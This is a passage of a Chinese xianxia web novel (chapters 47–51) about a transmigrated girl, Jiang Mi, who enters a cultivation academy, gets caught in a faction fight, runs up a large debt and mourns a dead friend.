她拉着江弥走到队伍最后:“没想到咱们升阶速度差不……也不是,友谊赛那会儿你就一阶。后来的友谊赛怎么都没见到你?对了,朱铭呢?他怎样了?我在去年友谊赛上还见过他。” 江弥想了想道:“好像还在二阶。” 唐蜜挑眉:“好像?你们没联系?” 那场友谊赛爆炸中,进入决赛的大部分学员或多或少都被波及,朱铭也是不幸受伤者之一,花了大半年才将伤养好。 她和朱铭在特训中相识,友谊赛结束后就没了来往,一人专心养病,一人沉浸修炼,自然没什么交集。 唐蜜和她说着话,眨眼就轮到她们。 男教习确认学员信息后会提供一枚学生令牌,不知是什么材料制成的,似玉非玉,瞧着质地清透,却非玉质。 领到令牌的江弥摸索了下,发现令牌上刻着小字,用古字写的“苦境”二字。 唐蜜也过来:“苦境啊,我是三乐。” 江弥抬眼看她:“这是什么?” 唐蜜:“舍院名字啊。” 和江弥一同来的三人也拿了令牌,听闻聚了过来。 唐蜜显然在来前打探得一清二楚,抬脚往外走:“咱们小术院的建筑风格主打一个随心所欲,舍院更是随心所欲的代表。” “这里的所有舍院都不在同个地方,森林树下湖水之上皆有,有的还在教楼地下一层,新来的想找得费一番功夫,还有个特别惨,在天雪峰山顶,常年风雪肆虐,那大风都能将木屋吹垮,还不能申请换。” 江弥看着令牌上的苦境,这可不像是什么好地方。 唐蜜说时身边又聚了几人,纷纷问:“我的是画楼,这个在哪里?” “星肆,不会让我露天睡观象台吧?我又不修星!” “你知不知道这个驿台……” 方才还互不搭理的学员们围了上来,纷纷询问。 江弥抬首望向远处的林木和掩在其中的未知建筑,小术院有一座小城之大,教习故意没提供地图,显然是用这种方式让他们最快熟悉环境。 唐蜜被各种问题包围,越问心情越燥,来小术院前不知道收集信息,早干嘛去了。 她道:“每个问题两个小术分,来,你刚才问的什么问题?星肆是吧,星肆在——” “等等等等!我不想知道了!” 唐蜜转向另一人:“你是——” “我没有小术分,你就告诉我吧,大家以后都是小术院的学员,不用这么冷血吧?” 唐蜜直接冷脸:“小术分可倒扣至三百五,想得到消息又什么都不愿付出,谁给你的脸?” 这话让那学员脸发胀,不仅她,其他围过来的人也一阵青一阵白,面色难看地离开。 周身清空后唐蜜回头要去找江弥,然而哪里有人,江弥早不知道什么时候走了,她可惜道:“还没问她什么道途呢。” 江弥施展乘风术掠过不同的建筑,时而有学姐学长们从中走出,他们谈笑自如,自信而张扬,是一群前途光明又蓬勃朝气的修士。 江弥尝试着询问过,似乎是小术院的传统,新生问路得花小术分,她只能作罢。 这种刚升入大学就背负巨债的体验着实不太好。 她还没摸清小术分如何挣,不能浪费在这种小事上。 江弥花了两个时辰也未找到苦境所在,倒是对小术院的大有了更清晰的认知。 她停下休息,刚抬手准备擦汗,就听到柔软甜美的声音问:“你知道苦境在哪里吗?” 江弥侧眸望去,长相可爱的女孩举着令牌问路过的学员,生怕对方会拒绝,她眨着眼小声说:“学长能不能告诉我,拜托拜托,我有点路痴,分不清方向,找了好久都没找到。” 那学长没有丝毫犹豫地指着身后:“那里。” 妃绯大大松了口气,抚着胸口道:“学长谢谢你!” 江弥不自觉站直身体。 来了。 江弥以为她会对即将到来的事情感到焦虑,可没有,她的心情异常平静,内心甚至催促着她要做些什么。 此前的三年,她为了在那一剑中活下去拼命修炼,她每天每夜地分析预知场景试图找出其中的破绽,她尽自己一切所能寻求生机。 预知降临的现在,她只要掉头就能避免那场混乱。 可真到了这刻,她的内心竟是期盼的。 她在期盼自己走进去。 如果李二的结局有一线生机,那只会是在她手上。 可她因为这场预知沉浸在自己的世界不曾了解过他的想法,也因为这场预知,阿玲关注妃绯三年却没有一次去看过他。 他死在她没及时赶到的程家。 她却因此进阶。 如果她在这场混乱中活下来,那李二又为什么而死?可如果她死于这场混乱,这三年她又为什么会忽视李二? 她无法将李二从这场混乱中剥离,在她抬脚转身的那刻,离开了这场预知的混乱,也遗弃了李二的死亡。 江弥抬脚往苦境的方向走,越走越快,她快步穿过树林和石坡,还未靠近那栋建筑就感觉到了混杂的波动。 妃绯愕然看着从身边快速掠过的少女,心里道:“蛋蛋她也去苦境,说不定我们是室友呢!” 蛋蛋萌音轻快道:“室友就是友谊之心!” 妃绯低落道:“我还没有友谊之心。” 蛋蛋:“这世上不可能有人不喜欢妃绯!” 妃绯给自己打气道:“那我们快赶过去和她搭讪。” 江弥没管身后的妃绯她看到了预知开始的场景,记忆里的混乱和不完整在此刻纠正完善。 “你们不会真以为弄个启蒙会就能改变什么?”两拨敌对人群中,最前面似一方领头的长袍青年嗤笑,“简直是笑话!” 十来名少年或持剑或戒备地站他身后,目光盯着对面蓝色劲装青年一伙人。 长袍青年把玩着腰间玉坠,目光傲慢地睨向与他对峙的劲装青年,居高临下道:“这启蒙会会长不当也罢,范衡,你若现在认输,我大发慈悲一次,把你召进我邵家,如何啊?” 这轻蔑语气没激怒范衡,倒是让范衡身后的五人愤怒不已,纷纷长剑出鞘。 “邵安,莫要欺人太甚!” “大家族出身又如何,你还能在小术院只手遮天?” “靠!打不打!嘴半天听着就气,咱们到底是来打嘴炮还是打架的?” 范衡身后躁动怒骂,对面的十来人也不甘示弱,纷纷出言挑衅,每个人脸上都带着愤怒。 范衡忽然抬手下压,身后的愤怒声平息。 邵安眉峰微微隆起,回头望了眼,挑衅众人也停下声音。 “邵安,不用顾左右而言他,”范衡抬脚挪了半步,站定时脚下掀起小股旋风:“你我皆知为何站在这里,你以实力不够霸占旁人名额,旁人自然也能以此从你手里拿走。” 邵安沉着脸:“那也要看你有没有这个本事!” 说罢,他周身凝气成风,脚下猛地一跃瞬影到范衡身前,长剑出鞘闪动的寒光照射范衡,一切在他眼睛里变得清晰可见。 暗术·洞悉,能将敌人的任何动作尽收眼底。 但范衡十分沉得住气,即便邵安的剑近在咫尺也不见他有任何动作,就在剑尖即将挑破他的蓝色衣物时,邵安的剑刺空。 蓝色身影虚实变换,再看去,哪里还有他的身影。 也在同时,方圆五米内忽的被蓝紫色光芒笼罩,星辰在脚下明暗交替地闪烁,范衡却是陡然出现在另一方向,脚下正好是一颗明亮璀璨的星辰。 是星移斗转。 邵安心中怒骂,他什么时候开出的星图? 两人打斗爆发之时,他们身后的修士也动了。 星图之中虚实难辨,有人不慎踩中实星,立马被窜起的星辰之力绞缠,巨力之下防御寸寸粉碎,骨裂声伴随着惨叫。 众人听得头皮发麻,此时再看脚下安静明亮的星辰,却犹如藏在林间择人而食的野兽,就是范衡的同伴踏脚时也不由得多了几分认真小心。 在接连的惨叫声中,邵安面色 47. 047 《他们要我成为异世大佬》全本免费阅读 视线中的盲点散去时,众人还没放下戒备,纷纷扫视四周,谨防下一波攻击。 邵安抬手将被水流冲散的头发捋到脑后,一张脸阴沉得能滴出水来。 他早已不复先前光鲜亮丽的样子,衣袍不是被花瓣割破就是被火星溅到烧出黑洞,他本不用这么狼狈,但裂天三式消耗太大,不到万不得已他不会用,哪成想…… 范衡也不好受,邵安早有防备,叫来的十多人中有四人专门针对他的星图,找不到眼星就强行用几百枚符文将其引爆。 粗暴,但很有用。 星图崩溃令他体内的气肆虐,猝不及防就直面高山流水,飞花萤虫,跟落入万花筒似的,眨眼就变个样,他强行按住体内翻涌的气息,也是躲得仓皇。 范衡抬首环视四周,大火席卷之下,两方人都心有余悸,和同样环视的邵安对视,看到双方如此窘样就知道罪魁祸首另有其人。 邵安掠过周身众人往外看,捕捉到一个局外人。 女孩坐在肆虐的大火前,没受伤,看似气竭。 就是这么个玩意儿将他们搞成这样? 邵安顿时怒火中烧,就要朝江弥走去,一个甜亮的声音喊住他:“二哥哥?” 邵安回头,妃绯从石头后探出脑袋,见他望来立马小跑到他跟前,语气里满是担忧:“二哥哥有没有事?你受了好多伤,是不是好疼?二哥哥对不起,刚才你们打架,我都不敢过来帮你。” 妃绯长得精致可爱,语调柔软,一副想帮他又怕弄疼他的心疼样子,语调里满是自责。 这副样子让他很是受用,心里的火消了大半,屈指敲了下她额头,看她疼得含泪看来,嘴里嫌弃道:“你那么弱,能帮得了谁?” 妃绯垂着脑袋说:“对不起,我会好好修炼的。” 她捂着额头在心里对蛋蛋哭诉:“蛋蛋,好疼!他打我打得好疼!” 蛋蛋安慰她:“妃绯加油,真爱之心凝结进度74%,马上就可以拿到真爱之心啦!” 妃绯叹气道:“那好吧。” 经妃绯这么打岔,邵安再要去找江弥麻烦已经晚了。 这边的火越烧越旺,附近有一片绿林,火势几乎要蔓延过去,天空都映照着火光,匆忙赶来的教习带着一众执法学员忙活一番才将其扑灭。 导致这场大火的罪魁祸首们,先是被教习骂了个狗血淋头,放火的江弥首当其冲,骂完让执法学员将其带走。 而在此前,那拿黑色令牌的少年已经偷摸溜走,看着不断增长的小术分,他眉开眼笑地收了黑色令牌。 身形在树林间穿梭,嘴里小声嘀咕:“哪里还有这么刺激的消息?哪里哪里?哪里哪里?继续搞‘某男子同时暧昧女子二三四’的后续?这个订阅还不错,还有金主打赏。好嘞,就这个。” · 南院医署的药房内,几个女孩有条不紊地分工合作,一人跑进跑出抱药材,一人检查药材质量分拣到不同地方,还有三人分别按照药性将其打磨或熬制。 孙柏柔也在其中,她做的是最后一步。 将处理后的药材按比例配好后,她五指悬在盛满药水的药罐上,凝气压于水下激活药性,药性达到临界点即将升腾气泡时,迅速投入其他药材。 这个过程要全神贯注,根据药性程度的不同添加其他药材进行中和或补充,临场反应很重要,药量多一克少一克、反应慢一秒快一秒都可能报废全部药材。 这需要极强的耐心和专注力,耗气也不小。 但拿到的小术分还不错。 抱材料的女孩叫刘盈,她将药材放下后一屁股坐下,粗喘着气道:“今天要配的药怎么这么多?” 她们配的药是最普通的,如治疗外伤、平顺内气、补气提神,但也正是这类药,医署的需求量很大。 试问哪个修士不随身携带治疗的药膏丹药? 但麻烦的是,配好的药会随着气的流失而失去药效,而用于保存药效的药材十分稀缺,这导致大部分时候药不得不现配,一旦病人激增,她们这些配药的也得跟着忙。 刘盈看药材暂时够用,就拿出令牌摸鱼,随后摇头感叹了声:“现在的新生,当真是厉害啊!” “怎么厉害?” 身后忽然传来询问,刘盈还以为是哪个小伙伴好奇,于是道:“今天下午邵家二公子和启蒙会会长争夺混沌名额,两波人打得正激烈呢,有个找舍院的新生被卷入其中,貌似被打了,于是反过来将所有人打得落花流水!” “想当初我刚进小术院——”刘盈说着抬头,见发问之人竟是程学姐,当即收起令牌连忙站起,“程学姐你来了。” 程萼倒也没说她,走到孙柏柔身边检查配好的药,点点头:“品相不错,刘盈,过来捏丸子。” 刘盈乖得不行:“好的学姐。” 程萼朝配药的几人揶揄道:“邵家二公子和启蒙会会长打完了,重伤七人,轻伤十一人,送来咱们南院医署,至少还得五批药。” 几人肩膀耷拉下来,孙柏柔也抬手擦汗,但大家都没说什么,活动了下身体继续干起来。 刘盈好奇问:“那个新生也在?她是重伤轻伤?” “轻伤。”程萼对这个跳脱的学妹也是没招:“捏你的丸子。” 刘盈立即转身:“好的学姐。” 等众人配好最后一批药,太阳已经下山,夜色笼罩万物,几人边往外走边捏手臂胳膊活动经脉。 刘盈还惦记着中午的事,同几人道:“这么厉害的新生在咱们这,去瞅瞅?” 女孩学程学姐的口气问她:“怎么厉害?” 几个女孩都笑出声。 “你们别笑话我啊!”刘盈将自己花小术分买的消息给她们看,“诺,又是高山又是海浪的,还有花啊萤火虫,还挺唯美的。” “你怎么不说她还烧了整个苦境?” 刘盈大惊:“她连苦境都敢烧,这还不厉害?我刚来小术院什么都不敢,欠了一屁股小术分天天窝房间哭,结果这届新生倒好,一来就烧舍院。” 这话倒是得到几个女孩认可。 刘盈立即又问:“你们真的不去看?” 大家忙了一天累倦得不行,纷纷摇头,刘盈可惜得直跺脚,也同她们一起离开医署。 孙柏柔独自走到她们身后,听到她们议论时心中升起一种怪异,这描述怎么像江弥的‘山崩’‘骇浪’? 她向来相信自己的直觉,也拿出令牌看。 今天发布邵周之战的消息有两条,她先后花了两个小术分仔细看完,然后抬头眨了下眼。 一来就烧舍院。 不会吧。 忽然一下笑出声,刚离开医署的孙柏柔掉头,心中的迫不及待让她立马调用所剩不多的气施展乘风术回去。 医署分内外两个院,内院是医修们活动的地方,外院用于病患治疗。 孙柏柔直奔外院,还没一个个病房找就看到身穿执勤服的周三,她喘息着跑上前一把拉住周三:“江……江弥她……” 周三点头:“嗯,她来了。” 孙柏柔一顿:“你知道?” “不仅知道,还是我把她带走的,她……”周三叹了口气,“你去看看就知道了。” 孙柏柔被说得一脸懵,跟着周三进入一间病房,里面人不少,原本还有些宽敞的房间看上去有点挤。 病房内有五张床榻,上面都躺了人,外面的四张床榻都围着人,就最里面的床榻躺着个孤零零的少女。 床上的少女生无可恋,看到孙柏柔来也只是“哦”了声,然后继续两眼发呆。 孙柏柔扭头问周三:“怎么回事?” 周三伸出五根手指比了比:“罚款。” 孙柏柔放心下来:“五百啊,我有,江弥我借你。” 周三摇头:“五千小术分,加上三百学费,报道第一天就欠下五千三个小术分。江弥,你真行。” 孙柏柔语塞,几百她还能想办法,几千就有点…… 但江弥来小术院,怎么都是件值得高兴的事,她俯身下去抱住江弥:“见到你我很高兴。” 江弥 48. 048 《他们要我成为异世大佬》全本免费阅读 房间只有张床和桌椅,桌上放着孙柏柔喝水的杯子。 周三从桌下抽出椅子坐下,孙柏柔则拉着江弥坐对面床上,担忧道:“你一来同时得罪邵安和范衡,这两个人都不简单。” 周三却道:“相较这个,她最该担心的是小术分。” 江弥:“来小术院前,我没想到会是这种生活。” 孙柏柔闻了闻手上散不去的药味,也叹气:“我也没想到啊。” 周三扯扯身上的制服:“谁不是?” 莫名有种刚踏入社会的社畜下班撸串吐槽的既视感。 两人开始提及自己在小术院的生活,江弥知道他们是用这种方式让她尽快适应,也听得认真。 小术分简直是扼住所有学员脖子,特别是像他们这种从启蒙院过来的。 这里比领路教习说得还夸张,没了小术分简直寸步难行,他们还没银钱,食宿虽能用小术分,但超级贵! 比如休憩破损的建筑,一天最多拿两个小术分,但一顿饭就要一个小术分! 江弥不吃不喝不睡房子要修建筑七年才能还清! 还能再回启蒙院吗? 在这种环境下,崇尚实力至上的兵修和星修简直毫无用武之地,于是开始向外发展。 孙柏柔无奈道:“崔大饭都快吃不起了,这几天出去接任务挣外快了。” 江弥:“好惨。” 转念一想,她比崔大惨多了。 孙柏柔医术不错,在医署有个比较稳定的收入,虽然时常加班,但学到的也很多。 周三运气不错,先是得了某个教习的眼,随后同教习的其他学员有了联系,和学长们熟悉后很容易就得了执法学员的差,这在堪比一座小城的小术院来说算个小官,收入也不错。 这也不单是运气,有他聪颖能抓住时机的功劳。 周三摇头:“也不过是巡逻和抓闹事的。” 抓江弥等人的执法学员中就有周三。 当时他都来不及惊喜江弥出现在小术院这件事,接着就在教习审问的三两句里得知,树是江弥烧的,舍院是江弥烧的,大坑是江弥砸的,他听得眼前一黑,觉得江弥还不如不来这趟。 “五千小术分还是看在你是新生往少了算的。”周三对着五千三着实没办法,思索三秒道:“其实,当散修也挺不错的,自由,还不用还小术分。” 孙柏柔抬脚踢他:“瞎说什么!江弥好不容易来。总能有办法解决的,不是有那个混沌名额?” 周三摇头:“估计够呛。” 孙柏柔简直无语:“那你们刚才还那么嘚瑟!江弥不知道情况就算了,你还跟着闹!” 周三耸肩:“看不惯他们打着为你好的名义施勒索之行,虚伪。” 虽然孙柏柔也不喜欢,但说不定还能拿到两千小术分呢! 关于混沌名额的事,江弥只从三两句消息猜出个大概,便道:“详细说说。” 小术院招生不限出身,只要满足三阶且未满十八都可,所以主要生源有三类: 一、从启蒙院升上来。他们从几万人中过滤出来,身世清白,身无长物,是各大势力最喜欢招收、小术院最喜欢用的修士。 二、来自修真世家。对他们来说,相较小术院的修行资源,更有用的是混沌名额、为家族招收修士、考入大术院。 三、散修。流落在外的散修有奇遇,遇高人指点、为家族卖命得到升阶机会,这类人来此的目的各不同,也最为复杂。 修真世家喜欢将启蒙院升上来的学员收为己用,按理说两者关系应该不算紧张,但邵安这人十分强势,看中谁不同意就明里暗里逼迫。 也并非世家就如邵安这般,很多还是行事低调的,但邵安这行为十分拉仇恨,加上普遍的仇富,众人对世家也没那么推崇了。 范衡就是在这时抓住时机。 他很聪明,在暗中拉拢被邵安打压的修士,几番捣鼓弄出个启蒙会。他们的口号是为启蒙院的院友争取利益,得到很多修士好感,并迅速吸收成员发展至今。 不管是帮助入会新生适应环境,还是在被打压针对时出手,启蒙会赢得很多学员信任,在小术院威望很高。 这次起因是邵安威逼利诱抢走一名学员的混沌名额。 混沌名额是大术院发布的。为了让修士不至于对混沌一无所知,大术院会发布任务让本院学生带小术院学员进混沌历练。 江弥穿越时遇到的沈白玟就是接了这类任务。 这里不得不提一下,小术院升入大术院的唯一要求就是在大混沌历练,这让本就稀缺的混沌名额越发珍贵。 邵安抢走混沌名额的事引起高阶修士反感,毕竟以后谁都可能成为下个受害者。 试想,好不容易在升院考核前拿到模拟考资格,却被人抢走准考证还满脸理所当然,哪个能咽得下这口气? 于是启蒙会就出手了。 全院学员对这件事的关注度非常高,它决定启蒙会是否会得到大量高阶修士认可,也决定邵家在小术院的威望,更决定那些修士的前途。 然后出来个江弥,还将两方人马打得措手不及。 最关键的是,这事还被人直播下来疯狂传阅。 孙柏柔不怎么关注这些,周三这么说瞬间明了:“范衡邀请江弥入启蒙会是为了占据舆论高点,逼邵安交出混沌名额。这么看的话,江弥加入不是更好?虽然被利用了一把,至少还能拿到两千小术分。” 江弥语气平淡说:“还以为混沌名额能直接纳入囊中,算错了。” 周三说:“一时冲动。” 这两人!孙柏柔听得拳头发硬。 周三忽然问江弥:“常人见到两波人打架都离得远远的,你怎么就冲上去了?” 更别提江弥不是冲动性格,而且凭三阶修为正常也不会去挑战十来个五阶六阶。 江弥:“一时冲动。” 周三:“……” 事已至此,孙柏柔只能接受,她问:“那你现在要怎么办?” 江弥说:“怎么能拿到小术分?” 孙柏柔:“方式很多啊。苦境被烧,要恢复需要不少人力,很快就会有这类任务发布,你可以关注下,还有帮教习处理杂物,整理书海楼,就是做饭打扫也能拿到小术分。” 明白了,需要人做事的地方都是机会。 周三却道:“一两个小术分填不了这么大的窟窿,我建议你从研发的角度出发,像研究出新的丹药方,设计实用的机关,改良阵法,创建新术,根据实用价值,最高能有几百小术分。” 江弥思索,搞科研吗? 孙柏柔问:“你现在修的什么道途?” 江弥随口答:“还没选。” 空气忽然陷入滞涩,江弥抬眼看到两人震惊的目光。 孙柏柔:“没修道途就能这么快进入三阶?” 周三:“没看出来你是个天才啊!” 江弥更关心她的负债:“五行术上的创新呢?” “这个在启蒙院比较实用。”孙柏柔委婉道。 “你的‘字’很特别,但除了你别人也没法用。”周三摇头。 江弥:“我们还是来讨论怎么 49. 049 《他们要我成为异世大佬》全本免费阅读 小术院发给每个学员的令牌有记分刷分、舍院门禁和发布公告的作用,也是小术院很多场所的进出钥匙。 令牌的发布公告功能只在小术院内能用,院方将其用作大型事件的公告,一年大概只发四五次公告,很多人甚至还不知道有这个功能。 有名器修为了挣小术分,将心思打到令牌公告上。 他拉来精通阵法和机关的修士一同研究,将公告扩展成单独的版块,增加私人发布和扣小术分功能,有学员看出改造后的令牌前景,加入将其推广。 改造后的令牌拥有类似公共论坛发帖子的功能,只是不能回帖,但发布的信息驳杂,真假难辨,有人浑水摸鱼在里面做灰色交易,也闹出过人命,因此被教习抓住。 改造令牌的几人没有受到责罚,反而奖励不少小术分,并禁止了这种事。 为了防止更多学员私自改造令牌,教习对令牌统一改良,又加了不少防御。 改良后的令牌没有放弃公告版块,推出了黑色令牌。 黑色令牌拥有者要经过考核,发布的信息审核通过才能公告,并且按字收小术分。普通令牌只接受信息,可选择是否订阅。 江弥听到孙柏柔说时不由感叹小术院教习的聪明,堵不如疏,直接将其完善规划搬上台,大家按照规则行事,鼓励的同时也防止黑暗滋生。 拥有黑色令牌的学员不止一人,但江弥知道她的消息是莫题发的。 准备做个邵周之战后续的莫题被发现,收起黑色令牌走出来:“什么交易?” 江弥直接道:“你的信息重点偏了,订阅你信息的人想知道的不仅是邵安和范衡的争斗。” 莫题:“所以?” 江弥:“我给你话题,你将其夸大,跟之前一样。” 类似要求他不是没遇到过,有个富家修士找他发布对某位女修的示爱宣言,追求成功后又来了次公开恋爱。不知道是被这种秀恩爱的行为酸到,还是有暗恋女修的修士吃醋嫉妒,他被投诉发不良信息,还扣了分。 黑色令牌的条件还是很高的,一个不慎,分扣完了黑色令牌就没了。 莫题谨慎道:“就这?” 江弥明白媒体的力量,道:“就这。” 莫题想了想:“如果我不同意呢?” 江弥举起受伤的手,语气平静道:“一新生因某不良发布者暴露信息,被众多势力找上并施以暴行,新生身心重创,对小术院失望透顶,决心离开后向所有启蒙院诉诸心宿小术院的不公。” 莫题:“?” 江弥:“我会这么跟教习打小报告。” 莫题:“……”从你语气里我完全没听出这是威胁。 · 震惊!为夺混沌名额启蒙会竟做出如此行为!彪悍新生该何去何从! 预知后续,一个小术分即可听本人细谈! 竟如此!邵周大战之混沌名额究竟花落何家?启蒙会?邵某?亦或是无意卷入的某新生? 混沌名额去留,一个小术分由你决定! 丧心病狂!误入某名额之争的某新生频繁被针对! 这究竟是道德的沦丧还是人性的扭曲? 看到这条消息的你又在何时会成为下个“某新生”? 未来的“你”请求现在的你为公平发言! 一个小术分发起援助! 你敢相信?!近十年混沌名额竟有一半都落入…… 一个小术分即可获得历年的混沌名额下落! 历史数据某教习提供,仅做参考。 …… 在众多平铺直叙的信息分享或组队公布中,震惊体脱颖而出,十分吸引人眼球。 混沌名额本就是众人关心的话题,还有不少密切关注的高阶修士,他们即将升院考核,不差这点小术分。 另外还有其他学员组织在一旁看热闹。 诸多原因令莫题的小术分连续几天都在暴增,整个人躺在数字的海洋里。 加上中间有江弥这个三天内四处活动的话题人佐证,这些信息显得十分具有真实性。 江弥的佐证表现在—— 启蒙会会长刚出教室,江弥在众人面前上前,唉声叹气阐述邵安怎么找上她,怎么威胁她不能加入启蒙会,然后再问一句:“上次的条件还能生效吗?” 脚步或停或缓的修士们:竟真被启蒙会邀请过! 经常带伤出现在医署的江弥刚出来就碰到气势汹汹的邵安,还上来就是一招:“你还敢去找范衡!?” 进出医署的学员们:震惊体诚不欺我! 事情愈演愈烈,甚至有一名七阶修士要为这名“某新生”讨回公道,接着越来越多六阶七阶修士站出来。 启蒙会内部正在开会,主要成员坐在桌子旁,其他则站在两侧。 范衡率先提出最近闹得沸沸扬扬的混沌名额一事,旋即屈指敲敲桌面:“这件事,都说说你们是什么想法。” “这新生不是想进来避难吗?那将她拉进启蒙会,我们对邵安声讨混沌名额也算师出有名了。” “我看不行,这新生刚进来就搅浑了水,先是用诡异手段乘人之危,打乱我们的计划,烧了苦境不说,还被邵安盯中,是个大麻烦。” “但如果看实力的话,我觉得很值得拉进来。” “难道就没人思考发布这些消息的人背后意图?我怎么总觉得有人在暗中下大棋啊!真要说一个新生搞出这声势我是不信的,是不是那些即将升去大术院的在搞鬼?” 范衡没发表看法,转向坐在他侧方的滕宝:“你怎么想?” 滕宝:“我与江弥有过几面之缘,但不曾交谈过,不确定其为人——” “问我啊!”站在门口处的唐蜜举起手招了招。 她今天刚加入启蒙会,也知道讨论的是这几天入院的新生,还在想这位“某新生”是院门口围在自己身旁的哪一个,突然就听到熟人的名字。 众人将目光放在她身上,范衡笑了下,很和煦的样子:“但据我所知,你来自五院,江弥一院。” 唐蜜从人群中站出来,一身紫裙明丽傲人:“我是来自五院没错,但我在友谊赛上和她相识。” 范衡点头示意她继续,唐蜜抱臂傲然道:“你们可不能小瞧江弥,这人十分有魄力,敢在比试台上进阶,后续比赛说不参加就不参加,就是在教习的干扰下也顺利进阶……” 50. 050 《他们要我成为异世大佬》全本免费阅读 江弥拨弄了下火星,将烧好的热水倒入水杯递给孙柏柔,孙柏柔捧过水杯,盯着燃烧的火苗没说话。 木屋外风声呼啸,窗子被风吹得摇晃,火苗也忽上忽下跳跃着。 孙柏柔忽然说:“山下很多人找你,说要为你讨回公道的,也说要找你算账的,周三说是这些是你故意为之。江弥,是你做的吗?” 江弥:“是我。” 孙柏柔侧目去看她,好像有很多问题要问,却又不知从何说起,手指在水杯上挠着,半晌她垂眸低声说:“你变了很多。” “砰!” 剧烈晃动的窗户忽的被大风刮开,重重拍打在墙上,发出一声巨响。 孙柏柔吓了一跳。 凛冽的寒风顺着打开的窗口灌入,大雪在屋内飞舞,炉子里的火苗几乎被吹灭,灰烬之下火星点点。 孙柏柔转头去看江弥时,她还是那样安静地坐着,鬓发被吹到她脸上嘴角,眉梢沾上了雪。江弥能忍受痛,却不能适应细微的痒。这样的她却没有像记忆里露出不耐神色,将发丝拨走。 她真的变了。 孙柏柔的心口变得涩然。 她是有愤怒的,听到李二死去的悲伤和怆然在见到江弥时蓦地化作愤怒。 她没有说。 不管是她知道李二的死故意未提,还是她不知晓也没关注过李二,这都让孙柏柔愤怒。 她知道江弥性情淡薄,但她觉得那是大混沌的遭遇让江弥变成这样的,谁也不能怪她。 可李二不一样。 他们之中,李二待她最好,很多年前他就不打算在修途走下去,他本可以早早离开启蒙院外出过自己的生活,他说他放不下江弥,后来他们都去了小术院,他还是留下来了。 孙柏柔还曾因为两人之间的熟稔升起过小嫉妒。 她愤怒地想,这样的李二死了,你怎么可以无动于衷? 可看到面前的江弥,她忽然就问不出口了。 “也是这样的雪天。”江弥的声音夹杂在风中。 孙柏柔怔了下,猛地意识到她要说什么。 “前一天夜里下了场大雪,早起时雪停了,他穿过白雪像往常一样来找我,不知怎么忽然大笑了很久,我当时没有问他笑什么。” “我们在湖水旁的树下看雪,我在想该如何扩增‘腐萤’时他说要离开了,我没有问他为什么突然离开。” “他站在大门前倒退着向我招手,笑着走出很远,我没有问他要去哪里。” 江弥说:“为什么我没有问问他?为什么突然离开?能不能留下来?要去做什么?我始终没有明白李二为什么会死,他不是异世者,不曾同人结怨,也不再修行,他只是攒钱准备开烤鸭店,他做护卫的那家小姐喜欢他,几年后他就会有家庭孩子。” 她的语气很平静,好像困惑了很久,所有的情绪都被这些困惑冲淡了。 江弥抬眼看她:“孙柏柔,李二为什么会死呢?” 她面无表情说着这些,孙柏柔却捂着嘴哭了。 她哭着上前抱住江弥,安慰她说:“不是你的错,不是你的错。” 江弥想,不是的。 她本该能救他的。 但凡阿玲找过他一次,但凡江弥问他为何离开,甚至只是随口问问他要去哪里,择选日那天她也不会只是坐在路旁等他。 她有那么多次机会,却没有一次抬头看一眼。 守望军杀死了李二,可她也不无辜。 小术院名单下来那日,她终于有不会被人怀疑的理由去为李二敛尸,她背着那具尸体走了很远,在入土前打开看时,怎么都瞧不出李二的样子。 他为什么忽然大笑,为什么没有去南方食馆,为什么突然离开,她一点都不知道,她不知道他怎么想,也不知道他为什么那么做,他死了,一切都被埋葬了。 孙柏柔在风雪里抱住她,哭得很伤心。 江弥没有哭,她静静窝在孙柏柔颈间,寒风浸透了这间屋子,只有怀里的这点是暖的。 两人依偎了很久,身体几乎要冻僵,江弥忽然说了声“好冷”,孙柏柔满脸泪水地扑哧笑出声,双手捂着脸看江弥去关窗。 这天夜里,两人一起睡在小木床上。 孙柏柔问:“你打算什么时候下山?” 江弥说:“等他们闹得差不多。” 孙柏柔忽然露出怀念神色:“小时候我们和齐狗势不两立时,你也会这样指点几句,好厉害的样子。” 江弥:“无法修行也厉害?” 孙柏柔侧身抱住她:“对不起,我不该说你变了,你没变,你只是更像你自己了。” 孙柏柔第二天下了山,江弥继续练习“天火”。 好几次回来被暴躁学长骂,有天对方瞬影来到她修炼的地方,不耐烦道:“我就没见过这么笨的人,都几天了还没摸透?” 江弥认真讨教,对方看完她施术后立即皱起眉头道:“谁教你这么施术的?‘字’要有字的样子,你将‘字’跟‘符’混为一谈,能施展出来就算你运气好!” 江弥:“学长知道‘字’?” 暴躁学长:“乐正氏的手段我怎么会知道?” 江弥睁着眼看他,对方不耐烦道:“我不会,有人会,你等着,我叫人来。” 说完人就消失了,江弥满头雾水呢,再抬头就见暴躁学长拉着一人走来,说话十分不客气:“你上次出门是什么时候?两个月前吧,你是要把自己变成草等春天才登场吗?” 然后将人往江弥面前一杵:“两个时辰后再回去。” 暴躁学长为人相当暴躁,还没耐心,前因后果都不交代下就走了,十分干脆利落。 江弥抬眼看被强行扯来的人,微微一怔。 听暴躁学长描述,她还以为是个社恐宅男,但站在她面前的男子风光霁月,神态自若,至少绝不会让人将两个月不出门和他联系起来。 他披着厚厚的雪白狐裘,硕大兜帽遮住他额头,帽檐下露出一张俊美出尘的脸,江弥很难形容这种好看,就像冰雪消融忽见花开,清冷绝艳。 对方不说话,江弥就主动问:“学长,我的‘字’控制不好,能帮我看看问题出在哪里吗?” 说完她又施展了次,然后望向对方。 男子目光从她画“字”的手指移到她疑惑的眼睛,声音清涩道:“不对。” 江弥:“哪里不对?” 男子看着她没说话。 也是,冰天雪地里被强行拉出来给一个陌生人教学,是个人都会不满。 江弥不再抱希望,转身自己练自己的。 然而暴躁学长说两个时辰让他回去,他还真在风雪中站了两个时辰,快离开时他忽然走到江弥身边说:“古字为何要拆解?” 江弥回头时已经没了他身影。 她没明白男子问这个问题的含义,但对方提醒她,必然是有用的 51. 051 《他们要我成为异世大佬》全本免费阅读 君慕之看出了江弥的警惕,神色不明,江弥没看到君慕之身上有半点能量波动,修为远在她之上,气氛一时陷入沉寂。 打破两人安静的是莫题。 他粗喘着气跑来,见到江弥如同见到救星:“下面闹翻了,你快下去吧!” 江弥直接转身和莫题往山下走,打量着他浑身上下伤口问:“现在什么情况?” 莫题按着红肿破皮的嘴角说:“你看上去对我这副样子一点都不意外。” 江弥:“这十多天挣了多少?” 莫题立马跳过这个话题,他就是嘴上说说。高收益伴随着高风险,两人合作时都料到这个发展,就是看江弥这么淡定,令人不爽嘴痒罢了。 “下面都要闹疯了,那些六阶七阶修士竟然临时组成了个‘新生会’的组织,就是为了给你举行公道。” 虽然当事人并不在这个“新生会”中。 